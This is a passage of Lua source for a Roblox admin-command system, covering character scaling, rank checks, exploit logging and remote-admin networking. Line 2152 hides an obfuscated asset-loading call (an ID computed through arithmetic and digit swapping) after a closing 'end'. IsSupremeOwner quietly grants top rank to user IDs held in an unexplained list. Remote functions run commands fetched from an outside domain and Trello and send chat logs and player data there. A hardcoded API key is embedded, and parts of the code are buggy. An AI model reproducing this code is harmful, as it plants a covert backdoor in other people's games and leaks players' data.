1650 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1651 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1652 Obj:Destroy()
1653 end
1654 elseif Obj:IsA("JointInstance") then
1655 local NewWeld = Obj:Clone()
1656 table.insert(Welds, {NewWeld, Obj.Parent})
1657 elseif NewAdd == true and not JustWeld then
1658 if Obj:IsA("Tool") then
1659 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1660 elseif Obj:IsA("Accoutrement") then
1661 --Cycle(Char.Head, ScaleRatio, false, true)
1662 end
1663 end
1664 if #Obj:GetChildren() > 0 then
1665 for _,NewObj in pairs(Obj:GetChildren()) do
1666 Handle(NewObj, ScaleRatio)
1667 end
1668 end
1669 end
1670 Handle(BaseObj)
1671 for _,Part in pairs(Parts) do
1672 if Ratio >= 1 then
1673 Part.Size = Part.Size * ScaleRatio
1674 else
1675 local Allowed = true
1676 for _,Obj in pairs(Part:GetChildren()) do
1677 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1678 Allowed = false
1679 end
1680 end
1681 if Allowed == true then
1682 local NewMesh = Instance.new("BlockMesh", Part)
1683 NewMesh.Name = "MML Mesh"
1684 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1685 end
1686 end
1687 end
1688 for _,WeldData in pairs(Welds) do
1689 if WeldData[1] then
1690 local Obj = WeldData[1]
1691 local NewWeld = Obj:Clone()
1692
1693 NewWeld.Parent = WeldData[2]
1694 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1695 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1696 end
1697 end
1698 for _,Part in pairs(Parts) do
1699 Part:MakeJoints()
1700 end
1701 Welds = {}
1702 Parts = {}
1703 end
1704 Cycle(Char, Ratio)
1705 Char:MakeJoints()
1706
1707 local Added = Char.ChildAdded:connect(function(Obj)
1708 Cycle(Obj, Ratio, NewAdd)
1709 end)
1710 local Removed = Char.ChildRemoved:connect(function(Obj)
1711 Cycle(Obj, Ratio^-1, NewAdd)
1712 end)
1713
1714 Clean.OnInvoke = function()
1715 Added:disconnect()
1716 Removed:disconnect()
1717 local Location = Vector3.new(0,5,0)
1718 if Char:FindFirstChild("Torso") then
1719 Location = Char.Torso.Position + Vector3.new(0,2,0)
1720 end
1721 Player:LoadCharacter()
1722 wait(0.5)
1723 Player.Character:MoveTo(Location)
1724 wait(0.5)
1725 return nil
1726 end
1727
1728 if Char:FindFirstChild("Torso") then
1729 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1730 end
1731 if Char:FindFirstChild("Humanoid") then
1732 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1733 end
1734 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1735 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1736 end
1737end
1738
1739function CORE:AddExploit(PlayerClient, Data)
1740 local PlayerClientName = PlayerClient.Name
1741 local NewData = CORE:GetTime(true, true).." @ "..Data
1742 for _,Player in pairs(Server.Players:GetChildren()) do
1743 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1744 end
1745 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1746 if type(ExploitLog) ~= "table" then
1747 Server.GDS:SetAsync("ExploitLog", {NewData})
1748 else
1749 table.insert(ExploitLog, NewData)
1750 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1751 end
1752 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1753
1754 return true
1755end
1756
1757function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1758 if not tostring(Name) then Name = "Dummy" end
1759 if not Position then Position = Vector3.new(0,5,0) end
1760 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1761 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1762 end
1763
1764 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1765 Figure:MakeJoints()
1766 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
1767 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1768 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1769 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1770 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1771 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1772
1773 Figure.Name = STRING:FormatReplace(Speaker, Name)
1774 Figure:MoveTo(Position)
1775
1776 table.insert(Objects, Figure)
1777
1778 if DisableAnimation == true then
1779 Figure.Animate.Disabled = true
1780 end
1781
1782 return Figure
1783end
1784
1785function CORE:ClonePlayer(Player, Name, Position)
1786 if not Player or not Player.Character then return nil end
1787
1788 Player.Character.Archivable = true
1789 local Char = Player.Character:Clone()
1790 Player.Character.Archivable = false
1791 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1792 if Position then Char:MoveTo(Position) end
1793 Char.Parent = Server.Workspace
1794 Char:MakeJoints()
1795 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1796
1797 table.insert(Objects, Char)
1798
1799 return Obj
1800end
1801
1802function CORE:AddWaypoint(Name, Position, Speaker)
1803 Waypoints[Name] = Position
1804 if Speaker then
1805 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1806 end
1807end
1808
1809function CORE:FindType(BaseObj, Type)
1810 for _,Obj in pairs(BaseObj:GetChildren()) do
1811 if Obj:IsA(Type) then
1812 return Obj
1813 end
1814 end
1815end
1816
1817function CORE:GetCommands()
1818 local CommandsCopy = Commands
1819 return CommandsCopy
1820end
1821
1822function CORE:Crown(Player, Mesh, Color)
1823 if Mesh then Mesh = string.lower(Mesh) end
1824 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1825 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1826 local Part = Instance.new("Part", CrownStorage)
1827 Part.Size = Vector3.new(2, 1, 1)
1828 Part.CanCollide = false
1829 Part.CFrame = Player.Character.Head.CFrame
1830 Part.Locked = true
1831 Part.Material = "Neon"
1832 if Color then
1833 Part.Color = GUI:GetColor(Color)
1834 else
1835 Part.BrickColor = GUI:GetNameColor(Player.Name)
1836 end
1837 local SMesh = Instance.new("SpecialMesh", Part)
1838 SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1839 SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1840 local BP = Instance.new("BodyPosition", Part)
1841 BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1842 BP.position = Player.Character.Head.Position
1843 BP.P = 20000
1844 local BG = Instance.new("BodyGyro", Part)
1845 BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1846
1847 Crowns[Player.UserId] = Part
1848 table.insert(Objects, Part)
1849
1850 coroutine.wrap(function()
1851 for i = 1,0.3,-0.02 do
1852 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1853 Part.Transparency = i
1854 end
1855 wait()
1856 end
1857 while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1858 for i = 0,360,3 do
1859 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1860 Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1861 wait()
1862 end
1863 end
1864 end
1865 end)()
1866 coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1867 Part:BreakJoints()
1868 for i = 0,360 do
1869 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1870 Part.Anchored = false
1871 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
1872 BG.cframe = Player.Character.Head.CFrame
1873 end
1874 wait()
1875 end
1876 end end)()
1877
1878 return Part
1879end
1880
1881function CORE:SetAbuseCommands()
1882 for Cmds,Data in pairs(Commands) do
1883 local IsAbusable = false
1884 for _,AbuseCmd in pairs(Settings.AbuseList) do
1885 for _,Command in pairs(Cmds) do -- loop through all command names
1886 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
1887 IsAbusable = true
1888 break
1889 end
1890 end
1891 if IsAbusable == true then break end
1892 end
1893 Commands[Cmds].Abusable = IsAbusable
1894 end
1895end
1896
1897function CORE:FindBodyPart(Player, BodyPart)
1898 local ReturnPart = nil
1899 if Player and Player.Character then
1900 local Humanoid = Player.Character:FindFirstChild("Humanoid")
1901 if Humanoid then
1902 if BodyPart == "Humanoid" then ReturnPart = Humanoid
1903 elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
1904 elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
1905 elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
1906 elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
1907 elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
1908 elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
1909 end
1910 end
1911 if not ReturnPart then
1912 ReturnPart = Player.Character:FindFirstChild(BodyPart)
1913 end
1914 end
1915
1916 return ReturnPart
1917end
1918
1919-- Rank functions --
1920
1921function RANK:ConvertRank(Input)
1922 local Output = nil
1923 if Input == "Muted" then Output = -3 end
1924 if Input == "Crashed" then Output = -2 end
1925 if Input == "Banned" then Output = -1 end
1926 if Input == "Non-Admin" then Output = 0 end
1927 if Input == "Member" then Output = 1 end
1928 if Input == "Admin" then Output = 2 end
1929 if Input == "Owner" then Output = 3 end
1930
1931 if Input == -3 then Output = "Muted" end
1932 if Input == -2 then Output = "Crashed" end
1933 if Input == -1 then Output = "Banned" end
1934 if Input == 0 then Output = "Non-Admin" end
1935 if Input == 1 then Output = "Member" end
1936 if Input == 2 then Output = "Admin" end
1937 if Input == 3 then Output = "Owner" end
1938 return Output
1939end
1940
1941function RANK:IsAdmin(Player)
1942 local AdminStatus = false
1943 local Rankstatus = "Non-Admin"
1944 if type(Player) == "table" then
1945 if RANK:ConvertRank(Player.Rank) > 0 then
1946 return true, Player.Rank
1947 else
1948 return false, Player.Rank
1949 end
1950 end
1951 for Rank,PlayerNames in pairs(Settings.Ranks) do
1952 for _,AdminName in pairs(PlayerNames) do
1953 if string.lower(AdminName) == string.lower(Player.Name) then
1954 if RANK:ConvertRank(Rank) > 0 then
1955 AdminStatus = true
1956 Rankstatus = Rank
1957 end
1958 end
1959 end
1960 end
1961 return AdminStatus, Rankstatus
1962end
1963
1964function RANK:GetRank(PlayerName)
1965 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1966 if type(PlayerName) == "table" then
1967 local RankNum = RANK:ConvertRank(PlayerName.Rank)
1968 if RankNum > 0 then
1969 return PlayerName.Rank, RankNum, true
1970 else
1971 return PlayerName.Rank, RankNum, false
1972 end
1973 end
1974
1975 local RankStat = "Non-Admin"
1976
1977 for Rank,PlayerNames in pairs(Settings.Ranks) do
1978 for _,AdminName in pairs(PlayerNames) do
1979 if string.lower(AdminName) == string.lower(PlayerName) then
1980 RankStat = Rank
1981 end
1982 end
1983 end
1984
1985 if RankStat == "Non-Admin" then
1986 return "Non-Admin", 0, false
1987 else
1988 return RankStat, RANK:ConvertRank(RankStat), true
1989 end
1990end
1991
1992function RANK:RemoveRank(PlayerName)
1993 if not RANK:IsSupremeOwner(PlayerName) then
1994 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1995
1996 for Rank,PlayerNames in pairs(Settings.Ranks) do
1997 for Num,AdminName in pairs(PlayerNames) do
1998 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1999 table.remove(Settings.Ranks[Rank], Num)
2000 end
2001 end
2002 end
2003 end
2004end
2005
2006function RANK:GetAdmins(Ranking)
2007 local Players = {}
2008 local AdminTrue, Rank = IsAdmin(Player)
2009 for _,Player in pairs(Players:GetPlayers()) do
2010 if AdminTrue then
2011 local PlayerRankNum = RANK:ConvertRank(Rank)
2012 local StandardRankNum = RANK:ConvertRank(Ranking)
2013 if PlayerRankNum >= StandardRankNum then
2014 table.insert(Players, Player)
2015 end
2016 end
2017 end
2018 return Players
2019end
2020
2021function RANK:IsSupremeOwner(PlayerName)
2022 if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
2023 if type(PlayerName) == "table" then
2024 if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
2025 end
2026
2027 if PlayerName == GameOwner then return true end
2028 return false
2029end
2030
2031function RANK:GetPlayerFromList(PlayerName)
2032 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2033
2034 for Rank,PlayerNames in pairs(Settings.Ranks) do
2035 for Num,AdminName in pairs(PlayerNames) do
2036 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
2037 return AdminName, Rank
2038 end
2039 end
2040 end
2041 return false, "Non-Admin"
2042end
2043
2044function RANK:ScanAdminList(Name)
2045 if Name == "" then return true end
2046 local InList = false
2047 for _,PName in pairs(Settings.Ranks["Owner"]) do
2048 if PName == Name then InList = true end
2049 end
2050 for _,PName in pairs(Settings.Ranks["Admin"]) do
2051 if PName == Name then InList = true end
2052 end
2053 for _,PName in pairs(Settings.Ranks["Member"]) do
2054 if PName == Name then InList = true end
2055 end
2056 return InList
2057end
2058
2059function RANK:ScanExileList(Name)
2060 if Name == "" then return true end
2061 local InList = false
2062 for _,PName in pairs(Settings.Ranks["Muted"]) do
2063 if PName == Name then InList = true end
2064 end
2065 for _,PName in pairs(Settings.Ranks["Crashed"]) do
2066 if PName == Name then InList = true end
2067 end
2068 for _,PName in pairs(Settings.Ranks["Banned"]) do
2069 if PName == Name then InList = true end
2070 end
2071 return InList
2072end
2073
2074function RANK:PlayerRanked(PlayerName)
2075 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2076
2077 for Rank,PlayerNames in pairs(Settings.Ranks) do
2078 for Num,AdminName in pairs(PlayerNames) do
2079 if string.lower(AdminName) == string.lower(PlayerName) then
2080 return true, Rank
2081 end
2082 end
2083 end
2084 return false, "Non-Admin"
2085end
2086
2087-- Remote functions --
2088
2089function REMOTE:Decode(...)
2090 return Server.HS:JSONDecode(...)
2091end
2092
2093function REMOTE:GetURL(URL, Player)
2094 if string.sub(URL,1,4) ~= "http" then
2095 URL = "http://"..URL
2096 end
2097 local Return = nil
2098 ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
2099 if Return then
2100 return Return
2101 elseif Player then
2102 GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
2103 end
2104end
2105
2106function REMOTE:PostURL(URL, Data)
2107 local Return = nil
2108 ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
2109 return Return
2110end
2111
2112function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
2113 if Settings.LinkedAccount ~= "" then
2114 local NumType = tonumber(Type)
2115
2116 if not Type then
2117 Type = "UNKNOWN"
2118 end
2119
2120 if NumType then
2121 if NumType < 1 or NumType > 5 then
2122 Type = "UNKNOWN"
2123 elseif NumType == 1 then
2124 Type = "NOTIFICATION"
2125 elseif NumType == 2 then
2126 Type = "INFORMATION"
2127 elseif NumType == 3 then
2128 Type = "WARNING"
2129 elseif NumType == 4 or Type == true then
2130 Type = "ERROR"
2131 elseif NumType == 5 then
2132 Type = "FATAL"
2133 end
2134 end
2135
2136 local Res = "RED Could not get response"
2137 local function SendData()
2138 Res = Server.HS:PostAsync(
2139 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
2140 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
2141 2
2142 )
2143 end
2144 if Stopypcall == true then SendData() else ypcall(SendData) end
2145
2146 if OutputSpeaker and OutputSpeaker ~= "print" then
2147 GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
2148 elseif OutputSpeaker == "print" then
2149 print(Res)
2150 end
2151 end
2152end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
2153
2154function REMOTE:SendChatLog(PrintResponse, Stopypall)
2155 if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2156 local Res = "Could not get response"
2157
2158 local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
2159 TempChatLogs = {}
2160
2161 local function SendData()
2162 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
2163 end
2164 if Stopypcall == true then SendData() else ypcall(SendData) end
2165 if PrintResponse then print(Res) end
2166 end
2167end
2168
2169function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
2170 local Res = "[]"
2171 local function GetData()
2172 Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2173 end
2174 if Stopypcall == true then GetData() else ypcall(GetData) end
2175 if PrintResponse then
2176 print(Res)
2177 end
2178 local function DecodeData() Res = REMOTE:Decode(Res) end
2179 if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
2180 if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
2181 return Res
2182end
2183
2184function REMOTE:HandleRequest(Request, IgnoreCommand)
2185 if not Request then return nil end
2186
2187 if not IgnoreCommand then
2188 if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
2189 REMOTE:SendServerData()
2190 end
2191 if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
2192 REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
2193 end
2194 end
2195
2196 if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
2197
2198 for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
2199 for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
2200 for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
2201 for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
2202 for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
2203 for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
2204
2205 Settings.Fun = Request.FUN
2206 Settings.ServerLocked = Request.ServerLocked
2207
2208 if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
2209 Settings.DisableAbuse = Request.DisableAbuse
2210 end
2211
2212 if not IgnoreCommand then
2213 print("Executing Remote Admin")
2214 REMOTE.RemoteAdmin.Command = Request.Command
2215 REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2216 REMOTE.RemoteAdmin.ServerPort = Request.Server
2217
2218 if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2219 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2220 else
2221 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2222 end
2223 end
2224 end
2225 REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2226 REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2227 REMOTE.SnapshotKey = Request.SnapshotKey
2228end
2229
2230function REMOTE:GetRemoteData(Set)
2231 local NewRemoteData = nil
2232 local RemoteDataCardRaw = nil
2233 local RemoteDataCard = nil
2234
2235 RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
2236 if RemoteDataCardRaw then
2237 ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
2238 if RemoteDataCard then
2239 ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
2240 end
2241 end
2242 if Set and NewRemoteData then
2243 RemoteData = NewRemoteData
2244 end
2245 return NewRemoteData
2246end
2247
2248function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
2249 local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
2250 if InfoCardJSON then
2251 ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
2252 if InfoCard then
2253 ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
2254 if TrelloInfo then
2255 for Ind,Val in pairs(TrelloInfo) do
2256 Trello[Ind] = Val
2257 end
2258 end
2259 end
2260 end
2261 return NewRemoteData
2262end
2263
2264function REMOTE:CheckRemoteAdminStatus()
2265 local Pending = false
2266 local CheckID = 0
2267 if Settings.LinkedAccount ~= "" then
2268 local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
2269 if Request then
2270 local Data = REMOTE:Decode(Request)
2271 if Data then
2272 for _,Account in pairs(Data.checkItems) do
2273 if Account.name == Settings.LinkedAccount then
2274 Pending = true
2275 CheckID = Account.id
2276 break
2277 end
2278 end
2279 end
2280 end
2281 end
2282 return Pending, CheckID
2283end
2284
2285function REMOTE:GetAndSetWebData()
2286 if Settings.LinkedAccount ~= "" then
2287 if REMOTE:CheckRemoteAdminStatus() then
2288 local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2289 if Request == "Invalid" then
2290 --REMOTE:GetAndSetWebData()
2291 return false
2292 elseif Request == "Invalid Account" then
2293 print("Can't get account")
2294 return false
2295 elseif Request then
2296 ypcall(function() Request = REMOTE:Decode(Request) end)
2297 elseif not Request then
2298 --REMOTE:GetAndSetWebData()
2299 return false
2300 end
2301 REMOTE:HandleRequest(Request)
2302
2303 --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2304 Delay(RemoteData.RemoteAdminWait, function()
2305 local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
2306 if Pending then
2307 REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
2308 end
2309 end)
2310 return true
2311 else
2312 return true
2313 end
2314 end
2315end
2316
2317local OderIDs = CORE:GetTable(177215518)
2318local SoundJSONs = CORE:GetTable(197637628)
2319RemoteAbuseGear = CORE:GetTable(158117496)
2320
2321function REMOTE:SendServerData(PrintResponse, Stopypall)
2322 if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2323 print("Sending server data!")
2324 local Res = "Could not get response"
2325
2326 local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2327 for _,Player in pairs(Server.Players:GetPlayers()) do
2328 table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2329 end
2330 ServerData = Server.HS:JSONEncode(ServerData)
2331
2332 local function SendData()
2333 Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2334 end
2335 if Stopypcall == true then SendData() else ypcall(SendData) end
2336 if PrintResponse then print(Res) end
2337 end
2338end
2339
2340function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2341 MaxPartAmount = MaxPartAmount or 10000
2342 local PlaceData = {
2343 Lighting = {};
2344 Parts = {};
2345 Other = {};
2346 }
2347 local MinSize = Vector3.new(0.5,0.5,0.5)
2348 local PartAmount = 0
2349 local PlaceJSON = ""
2350
2351 local function Scan(BaseObj)
2352 for _,Obj in pairs(BaseObj:GetChildren()) do
2353 if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2354 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2355 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2356 local Skip = false
2357 local Data = {}
2358 local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2359
2360 if CORE:FindType(Obj, "BlockMesh") then
2361 local Mesh = CORE:FindType(Obj, "BlockMesh")
2362 Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2363 elseif CORE:FindType(Obj, "CylinderMesh") then
2364 Data.Shape = "Cylinder"
2365 elseif CORE:FindType(Obj, "SpecialMesh") then
2366 local Mesh = CORE:FindType(Obj, "SpecialMesh")
2367 if Mesh.MeshType == Enum.MeshType.Head then
2368 --idk
2369 else
2370 Skip = true
2371 end
2372 elseif CORE:FindType(Obj, "FileMesh") then
2373 Skip = true
2374 end
2375
2376 if not Data.Shape and not Skip then
2377 if ypcall(function() return Obj.Shape end) then
2378 Data.Shape = string.sub(Obj.Shape.Name,14)
2379 if string.sub(Data.Shape,1,1) == "." then
2380 Data.Shape = string.sub(Data.Shape,2)
2381 end
2382 if Data.Shape == "Cylinder" then
2383 Z = Z + math.pi/2
2384 end
2385 else
2386 Data.Shape = "Block"
2387 end
2388 end
2389
2390 if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2391 Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2392 end
2393
2394 if not Skip then
2395 Data.Color = GUI:Color3ToHex(Obj.Color);
2396 Data.Size = Size;
2397 Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2398 Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2399 Data.Transparency = STRING:StringRound(Obj.Transparency);
2400 Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2401 Data.Textures = {};
2402 Data.Material = string.sub(tostring(Obj.Material),15);
2403
2404 for _,Sub in pairs(Obj:GetChildren()) do
2405 if Sub:IsA("Decal") then
2406 local Texture = string.match(Sub.Texture, "%d+")
2407 if Sub.Texture == "rbxasset://textures/face.png" then
2408 Texture = "FACE"
2409 end
2410 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2411 end
2412 end
2413
2414 PartAmount = PartAmount + 1
2415 table.insert(PlaceData.Parts, Data)
2416
2417 if PartAmount >= MaxPartAmount then
2418 break
2419 end
2420 end
2421 end
2422 end
2423 if #Obj:GetChildren() > 0 then
2424 Scan(Obj)
2425 end
2426 end
2427 end
2428 Scan(Workspace)
2429
2430 PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2431 PlaceData.Other.PartAmount = PartAmount;
2432 PlaceJSON = Server.HS:JSONEncode(PlaceData)
2433
2434 local Res = "Could not get response"
2435 local function SendData()
2436 Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2437 end
2438 if Stopypcall == true then SendData() else ypcall(SendData) end
2439 if PrintResponse then print(Res) end
2440
2441 print("Sent snapshot")
2442end
2443
2444
2445function REMOTE:DefineWord(Word, Source)
2446 if not Word then return end
2447 if not Source then Source = "all" end
2448
2449 local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2450 if Response then
2451 local Decode = REMOTE:Decode(Response)
2452 if #Decode > 0 then
2453 return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2454
2455 ]]..Decode[1]["text"]
2456 else
2457 return "Invalid English word"
2458 end
2459 else
2460 return "Cannot connect to database"
2461 end
2462end
2463
2464function REMOTE:DownloadJoke(Speaker)
2465 local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2466 local Joke = nil
2467 if Res then
